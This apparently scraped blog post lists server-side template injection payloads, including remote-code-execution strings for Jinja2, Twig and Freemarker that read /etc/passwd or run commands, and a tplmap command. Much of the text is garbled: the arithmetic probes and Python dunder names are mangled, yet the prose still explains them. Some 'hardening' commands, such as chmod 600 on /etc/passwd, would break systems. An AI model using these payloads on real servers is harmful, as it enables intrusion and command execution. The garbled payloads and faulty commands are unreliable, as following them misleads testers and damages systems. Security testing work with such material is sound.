SSTI (Server Side Template Injection) Payload List

Server-Side Template Injection (SSTI) is a critical web vulnerability that occurs when an attacker injects malicious input into a server-side template, leading to remote code execution (RCE). Below is a list of common SSTI payloads for testing and exploitation:

Basic SSTI Payloads:

{77} 
{77} 
{{77}} 
[[bash]] 
${77} 
@(77) 
<?=77?> 
<%= 77 %> 
${= 77} 
{{= 77}} 
${{77}} 
{77} 
[=77] 

You Should Know:

1. Testing for SSTI

To detect SSTI, input mathematical expressions like `{{77}}` and check if the server evaluates them.

2. Exploiting SSTI for RCE

Once SSTI is confirmed, escalate to RCE using template engine-specific payloads:

• Jinja2 (Python):

  {{ ''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[396]('cat /etc/passwd', shell=True, stdout=-1).communicate() }} 
  

• Twig (PHP):

  {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 
  

• Freemarker (Java):

  <assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } 
  

3. Prevention Techniques

• Input Sanitization: Filter user input to block template syntax.
• Sandboxing: Restrict template engine access to sensitive functions.
• Use Static Templates: Avoid dynamic template rendering with user input.

4. Automated Tools for SSTI Testing

• tplmap (SSTI exploitation tool):

  python tplmap.py -u "http://example.com/page?input=test" 
  

• Burp Suite (Manual testing with payloads).

5. Debugging SSTI in Web Apps

Enable template error messages in development to detect unintended evaluations:

 Flask (Jinja2) debug mode 
app.run(debug=True) 

What Undercode Say:

SSTI is a severe vulnerability that can lead to full server compromise. Always test template inputs rigorously and enforce strict sandboxing. Below are additional Linux and Windows commands for security testing:

• Linux:

  grep -r "template.render" /var/www/html  Find template rendering in code 
  netstat -tuln | grep 5000  Check Flask debug server 
  chmod 600 /etc/passwd  Restrict critical file permissions 
  

• Windows:

  Get-Process | Where-Object { $_.Name -eq "python" }  Find Python processes 
  icacls C:\inetpub\wwwroot\ /deny "Everyone:(R,W)"  Restrict web directory access 
  

Expected Output:

A secure application should return user input as plaintext without evaluation. If `{{77}}` returns 49, SSTI is present.

Relevant Course URLs:

1. Advanced Web Security
2. Ethical Hacking Masterclass
3. Penetration Testing Techniques

References:

Reported By: Zlatanh Ssti – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram